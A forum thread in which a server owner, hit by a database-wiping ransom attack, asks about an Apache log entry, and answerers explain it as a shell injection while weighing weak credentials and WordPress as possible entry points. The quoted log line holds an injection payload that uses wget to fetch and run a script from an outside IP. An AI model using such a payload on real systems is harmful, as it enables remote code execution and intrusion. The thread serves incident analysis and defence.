0

Today one of my server has been hacked and hacker deleted my app database. And to restore back they are asking to pay money in BTC.

Well, I started investigating to Apache2 logs and found many suspicious accesses and one of them got my focus.

I'm here to ask, how's this URN gave hackers access to execute malicious script to download and execute.

How can we stop such things happen in future?

156.220.214.35 - - [23/Dec/2019:00:06:35 +0000] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.132.53.119/Venom.sh%20-O%20-%3E%20/tmp/kh;Venom.sh%20/tmp/kh%27$ HTTP/1.1" 400 0 "-" "Hakai/2.0"

Please be careful, if you're going to execute above URN

enter image description here

1 Answer 1

1

In short and if that works: your (stock) script does not perform proper input validation, which allows arbitrary commands and code to be injected and executed.

That allows an attacker to craft specific requests that for instance download code (the curl request) and execute that code (I would usually expect a second request in your logs that runs that downloaded code)

The fact that your log contains an error response (the 400 status code) rather than a successful 200 response might indicate that this not how you were hacked and the attackers may have used a different entry.

5
  • Any idea! How can I find which request/medium, gave hacker access to server? Where can I found logs!!!
    – Vin.AI
    Dec 23, 2019 at 19:26
  • 1
    @Vin.AI That really depends on your server & its logging setup, and how good the attacker was at hiding their tracks. BTW, I'm not convinced that URL was how they got in; that's an (attempted) shell injection, and if that worked I'd expect more than the database to be gone/messed with. Of course, it's possible that more than that was gone/messed with, and you just haven't noticed yet. See this question and the others it links to for more suggestions. Dec 24, 2019 at 2:27
  • This server was being managed by one of my consultant, who deals in software services. They are using Wordpress to manage contents for the mobile apps. Could it be a reason hackers get in via Wordpress hoophole. And the biggest weakness from our side was, one of developer was using DB credential as user=root and password=password
    – Vin.AI
    Dec 24, 2019 at 9:53
  • 2
    @Vin.AI That password is a huge security hole, although how easy it'd be to exploit depends on how the DB is exposed. Confirming that's how someone got in will depend entirely on what logging you had going (and whether it could be deleted post-exploitation). Wordpress can also be a big source of vulnerabilities, depending on how up-to-date you keep it and what plug-ins you use. Dec 24, 2019 at 21:09
  • Its possible the idiot root user with password=password is the cause but this would seem unlikely as it would require a root login - and if the distro is typical this would hopefully not be possible. If the version of WordPress is old or there is a bug in a plugin it is more likely that this was exploited to provide SQL injection. If this was the attack vector, paying the randsom may be futile as chances are the dB was not backed up or can be rolled back.
    – davidgo
    Dec 26, 2019 at 9:28

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .